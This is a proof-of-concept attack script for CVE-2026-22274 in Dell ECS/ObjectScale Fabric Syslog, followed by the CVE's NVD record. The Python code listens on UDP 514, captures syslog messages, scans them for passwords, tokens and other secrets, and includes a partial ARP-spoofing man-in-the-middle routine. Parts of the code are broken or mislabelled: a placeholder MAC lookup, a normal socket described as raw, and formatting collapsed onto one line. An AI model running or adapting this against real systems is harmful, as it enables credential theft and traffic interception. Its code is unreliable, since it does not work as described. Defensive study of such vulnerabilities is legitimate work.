CVE-2026-22274

# CVE-2026-22274 PoC - Dell ECS/ObjectScale Fabric Syslog Cleartext Transmission # This PoC demonstrates sniffing syslog traffic from affected Dell systems import socket import struct from datetime import datetime def parse_syslog_packet(data): """Parse standard syslog packet format""" try: # Syslog message format: <PRI>VERSION TIMESTAMP HOSTNAME APP-NAME MSGID SD MSG # For cleartext syslog, we can directly decode and read the content decoded = data.decode('utf-8', errors='ignore') return decoded except Exception as e: return f"Parse error: {str(e)}" def sniff_syslog(target_ip=None, duration=60): """ Sniff syslog traffic (UDP port 514) to capture sensitive information Args: target_ip: Specific IP to filter (optional) duration: Sniffing duration in seconds """ print(f"[*] Starting syslog sniffer for CVE-2026-22274") print(f"[*] Target IP filter: {target_ip or 'All'}") print(f"[*] Duration: {duration} seconds") print("[*] Listening on UDP port 514 (Syslog)...\n") # Create raw socket to capture UDP packets sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: sock.bind(('', 514)) print("[+] Socket bound to port 514") start_time = datetime.now() packet_count = 0 sensitive_data_found = [] while (datetime.now() - start_time).seconds < duration: sock.settimeout(1) try: data, addr = sock.recvfrom(65535) packet_count += 1 # Filter by target IP if specified if target_ip and addr[0] != target_ip: continue syslog_msg = parse_syslog_packet(data) # Log captured data print(f"[CAPTURED] From {addr[0]}:{addr[1]}") print(f"[DATA] {syslog_msg[:200]}...") # Truncate for display print("-" * 60) # Check for sensitive keywords in the captured data sensitive_keywords = ['password', 'token', 'secret', 'key', 'auth', 'credential', 'session'] for keyword in sensitive_keywords: if keyword.lower() in syslog_msg.lower(): sensitive_data_found.append({ 'source': addr[0], 'keyword': keyword, 'data': syslog_msg }) print(f"[!] POTENTIAL SENSITIVE DATA DETECTED: {keyword}") except socket.timeout: continue except PermissionError: print("[-] Error: Root privileges required for raw socket access") print("[*] Try running with sudo or use TCPdump alternative") except Exception as e: print(f"[-] Error: {str(e)}") finally: sock.close() print(f"\n[*] Sniffing complete. Total packets: {packet_count}") print(f"[*] Sensitive data captures: {len(sensitive_data_found)}") return sensitive_data_found def mitm_sniff(interface, target_ip, gateway_ip): """ Perform ARP spoofing to enable MITM attack on syslog traffic Note: Requires scapy library - pip install scapy """ print("[*] MITM Attack Mode for CVE-2026-22274") print("[*] This demonstrates the full attack chain") print("\n[!] WARNING: Only for authorized security testing") try: from scapy.all import ARP, send, sniff, conf conf.verb = 0 # Suppress scapy output def arp_spoof(target, gateway): """Send ARP spoofing packets""" arp_response = ARP(op=2, psrc=gateway, pdst=target, hwdst=get_mac(target)) send(arp_response) print(f"[+] Sent ARP spoof to {target}") def get_mac(ip): """Get MAC address for IP (simplified)""" return "00:00:00:00:00:00" # Placeholder print("[*] Starting ARP spoofing attack...") print("[*] Target:", target_ip) print("[*] Gateway:", gateway_ip) # In real attack, would continuously send ARP packets # and sniff the resulting traffic except ImportError: print("[-] scapy not installed. Install with: pip install scapy") if __name__ == "__main__": print("CVE-2026-22274 PoC - Dell ECS/ObjectScale Syslog Eavesdropping") print("=" * 60) # Uncomment to run: # sniff_syslog(target_ip=None, duration=30)

{"cve": {"id": "CVE-2026-22274", "sourceIdentifier": "[email protected]", "published": "2026-01-23T10:15:53.480", "lastModified": "2026-02-18T13:55:35.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell ECS, versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.2.0.0, contains a Cleartext Transmission of Sensitive Information vulnerability in the Fabric Syslog. An unauthenticated attacker with remote access could potentially exploit this vulnerability to intercept and modify information in transit."}, {"lang": "es", "value": "Dell ECS, versiones 3.8.1.0 a 3.8.1.7, y Dell ObjectScale versiones anteriores a 4.2.0.0, contiene una vulnerabilidad de Transmisión en Texto Plano de Información Sensible en el Syslog de Fabric. Un atacante no autenticado con acceso remoto podría potencialmente explotar esta vulnerabilidad para interceptar y modificar información en tránsito."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:elastic_cloud_storage:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.1.0", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "8FFE0BD5-DC60-46D3-9A26-6E82DBB982EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:objectscale:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "25F884EC-C7A1-4734-8C17-08BFF2046175"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000415880/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}